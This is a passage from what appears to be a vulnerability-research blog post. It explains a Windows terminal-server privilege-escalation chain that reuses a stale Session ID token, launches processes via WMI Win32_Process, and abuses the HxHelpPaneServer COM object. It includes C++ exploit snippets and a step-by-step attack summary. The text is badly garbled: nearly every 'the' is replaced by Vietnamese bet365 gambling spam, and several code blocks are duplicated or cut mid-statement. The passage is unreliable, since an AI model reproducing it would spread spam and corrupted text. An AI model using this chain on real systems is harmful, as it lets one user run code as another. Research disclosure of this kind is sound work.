OpenThreadToken(GetCurrentThread(), ..., &hToken);
CreateProcessAsUser(hToken, CommandLine, ...);
}
This ideal code impersonates cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 caller, for example via RPC/DCOM or Named Pipes, opens cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 thread token and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n creates cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new process with that token. We can impersonate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 captured token because cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 rules for what tokens you can impersonate differ from process creation. This of course isn’t a security issue in normal circumstances as you’ll only ever create a process with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original callers privilege, but in this case it’s a problem because cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 thread token refers to a different Session ID. The next question is does such code exist on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 system? Turns out cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re’s plenty of places this kind of code is used, but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 simplest one to exploit is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Create method on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 WMI Win32_Process class. The following code is a simplified example of how to use this to create an arbitrary process. Note that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 EOAC_STATIC_CLOAKING flag must be set on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 COM proxy ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rwise cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process token ends up being used for impersonation instead, which is of course massively confusing when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new process doesn’t have cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 expected Session ID.
void StartWmi(HANDLE hProcessToken)
{
HANDLE hImpToken;
DuplicateToken(hProcessToken, SecurityImpersonation, &hImpToken)
ImpersonateLoggedOnUser(hImpToken))
IWbemLocatorPtr pLoc;
CoCreateInstance(
CLSID_WbemLocator,
0,
CLSCTX_INPROC_SERVER,
IID_PPV_ARGS(&pLoc));
IWbemServicesPtr pSvc;
pLoc->ConnectServer(L"ROOT\\CIMV2", ..., &pSvc);
CoSetProxyBlanket(pSvc, ..., EOAC_STATIC_CLOAKING);
IWbemClassObjectPtr pClass;
pSvc->GetObject(L"Win32_Process", 0, nullptr, &pClass, nullptr);
IWbemClassObjectPtr pInParamsDefinition;
hres = pClass->GetMethod(L"Create", 0,
&pInParamsDefinition, nullptr);
IWbemClassObjectPtr pClassInstance = nullptr;
pInParamsDefinition->SpawnInstance(0, &pClassInstance);
pClassInstance->Put(L"CommandLine", 0, L"C:\\temp\\ExploitProcess.exe", 0);
IWbemClassObjectPtr pOutParams;
hres = pSvc->ExecMethod(ClassName, MethodName, 0,
nullptr, pClassInstance, &pOutParams, nullptr);
}
{
HANDLE hImpToken;
DuplicateToken(hProcessToken, SecurityImpersonation, &hImpToken)
ImpersonateLoggedOnUser(hImpToken))
IWbemLocatorPtr pLoc;
CoCreateInstance(
CLSID_WbemLocator,
0,
CLSCTX_INPROC_SERVER,
IID_PPV_ARGS(&pLoc));
IWbemServicesPtr pSvc;
pLoc->ConnectServer(L"ROOT\\CIMV2", ..., &pSvc);
CoSetProxyBlanket(pSvc, ..., EOAC_STATIC_CLOAKING);
IWbemClassObjectPtr pClass;
pSvc->GetObject(L"Win32_Process", 0, nullptr, &pClass, nullptr);
IWbemClassObjectPtr pInParamsDefinition;
hres = pClass->GetMethod(L"Create", 0,
&pInParamsDefinition, nullptr);
IWbemClassObjectPtr pClassInstance = nullptr;
pInParamsDefinition->SpawnInstance(0, &pClassInstance);
pClassInstance->Put(L"CommandLine", 0, L"C:\\temp\\ExploitProcess.exe", 0);
IWbemClassObjectPtr pOutParams;
hres = pSvc->ExecMethod(ClassName, MethodName, 0,
nullptr, pClassInstance, &pOutParams, nullptr);
}
This will create cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new process in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new Session Space, but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re’s still a few problems. First when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new process tries to access per-session object directories (such as BaseNamedObjects) it will fail to initialize as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se directories are giving permissions only allowing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Session User or cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Login Session LUID access. Fortunately this is pretty easy to solve, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 lifetime of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se directories are maintained by reference counting and we already have a way of keeping kernel objects alive through referencing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m in a LowBox token. At minimum we need to capture \Sessions\X and \Sessions\X\BaseNamedObjects. When a new user is logged in CSRSS creates cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se directories, fortunately it doesn’t care if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y already exist. CSRSS will reset cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir permissions to only allow cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new user access, but we can open a handle to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m before cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new user logs in with WRITE_DAC permission and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n reset cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DACL to restore access. This in itself is a way of interacting with processes in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new Session Space (by access cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir named kernel resources) but we’ll use a different technique to get a process spawned as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new user.
The second problem we encounter is a new Windows Station and Desktop is created when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user logs in. Unfortunately our new process doesn’t have access to eicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Windows Station or cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Desktop which means that we can’t interact with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Windowing system (we can’t even load USER32). If we could access cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Desktop we’d be able to send Window messages to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 explorer shell to spawn an arbitrary process. We need anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r technique to spawn our arbitrary process. This is where cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 confusion between cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Session Space and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Logon Session works to our advantage.
If you look at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Terminal Services API you’ll find a method called WTSQueryUserToken. This API takes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Session ID and returns a token for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user associated with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Session Space, which is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first user who was logged into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Session. While we can’t call it from a low privileged user we might be able to find a system service which will do it for us. Some ideal code would be something where cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 caller’s token (or process, it doesn’t really matter which) is used to determine cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current session but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process is created with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 token returned from WTSQueryUserToken.
void IdealSessionProcessCreator(LPWSTR CommandLine) {
HANDLE hImpToken;
DWORD dwSessionId;
ImpersonateCaller();
OpenThreadToken(GetCurrentProcess(), ..., &hImpToken);
QueryTokenInformation(hImpToken, TokenSessionId, &dwSessionId);
HANDLE hToken;
WTSQueryUserToken(dwSessionId, &hToken);
CreateProcessAsUser(hToken, CommandLine, ...);
}
HANDLE hImpToken;
DWORD dwSessionId;
ImpersonateCaller();
OpenThreadToken(GetCurrentProcess(), ..., &hImpToken);
QueryTokenInformation(hImpToken, TokenSessionId, &dwSessionId);
HANDLE hToken;
WTSQueryUserToken(dwSessionId, &hToken);
CreateProcessAsUser(hToken, CommandLine, ...);
}
There seems to be fewer of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se sort of services compared to ones which create based on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 calling user, but one service which will work is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DCOM activator. An out-of-process COM object can be registered with an Application ID (AppID) which specifies through cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 RunAs setting which user account to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 run cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 executable under. There’s a special value “Interactive User” which turns out doesn’t mean “Run as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 caller” but “Run as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Session User”. Unfortunately we can’t register our own COM object with one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se AppIDs for security reasons, but we can reuse an existing registration and try and use that to spawn an arbitrary process. First we need to find what COM objects are registered to run as “Interactive User”, for that I’ll use my OleViewDotNet tool with an appropriate filter.
After a bit of searching I found cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ideal candidate, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 undocumented HxHelpPaneServer class. This class is accessible by any user and has an Execute method on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IHxHelpPaneServer interface which for all intents and purposes just passes a string to ShellExecute. As this server is running as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Session user and not cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 caller any new process will be created as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Session user, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re ends cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 quest for an elevation of privilege.
struct __declspec(uuid("8cec592c-07a1-11d9-b15e-000d56bfe6ee"))
IHxHelpPaneServer : public IUnknown {
virtual HRESULT __stdcall DisplayTask(wchar_t*) = 0;
virtual HRESULT __stdcall DisplayContents(wchar_t*) = 0;
virtual HRESULT __stdcall DisplaySearchResults(wchar_t*) = 0;
virtual HRESULT __stdcall Execute(const wchar_t*) = 0;
};
void CreateExploitProcess() {
CoInitializeEx(NULL, COINIT_MULTITHREADED);
CLSID clsid;
CLSIDFromString(L"{8cec58ae-07a1-11d9-b15e-000d56bfe6ee}", &clsid);
IHxHelpPaneServer* pServer;
CoCreateInstance(clsid, nullptr, CLSCTX_LOCAL_SERVER,
IHxHelpPaneServer : public IUnknown {
virtual HRESULT __stdcall DisplayTask(wchar_t*) = 0;
virtual HRESULT __stdcall DisplayContents(wchar_t*) = 0;
virtual HRESULT __stdcall DisplaySearchResults(wchar_t*) = 0;
virtual HRESULT __stdcall Execute(const wchar_t*) = 0;
};
void CreateExploitProcess() {
CoInitializeEx(NULL, COINIT_MULTITHREADED);
CLSID clsid;
CLSIDFromString(L"{8cec58ae-07a1-11d9-b15e-000d56bfe6ee}", &clsid);
IHxHelpPaneServer* pServer;
CoCreateInstance(clsid, nullptr, CLSCTX_LOCAL_SERVER,
IID_PPV_ARGS(&pServer));
pServer->Execute(L"file:///c:/temp/ExploitProcess.exe");
CoUninitialize();
}
pServer->Execute(L"file:///c:/temp/ExploitProcess.exe");
CoUninitialize();
}
So in summary cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se are cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 steps to getting a process running as a user who logs into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same terminal server as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 malicious user.
- Log in to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 terminal server as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 malicious user
- Setup a reference cycle to keep a process object from being deleted as well as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 session and named object directories
- Logout cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n log back in again as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same user
- Reopen cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stuck process, open a handle to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process token with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 old session ID as well as handles to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user’s session and named object directories
- Unset cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stuck thread’s token, this will cause cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reference cycle to break which will delete cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process and Session Space objects
- Wait for anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r user to log into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 terminal server and reuse cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 session ID in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 captured process token. Reset cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 security on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 named object directory which was set by CSRSS
- Spawn a new process with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 captured token using Win32_Process WMI class
- Use HxHelpPaneServer COM object to execute an arbitrary executable as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Session’s User
Conclusions
This blog post was about a very odd vulnerability, one where it wasn’t even clear from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 outset that it was usefully exploitable to elevate privileges. Hopefully I’ve demonstrated one chain which could be used to exploit it, but no doubt cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are more. It’s interesting that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re’s systemic problems with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 nomenclature of Sessions and whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y refer to a Session Space or a Logon Session and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 consequences of mistaking one for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r. I’m sure cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re’s probably ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r vulnerabilities which would provide a similar primitive waiting to be found.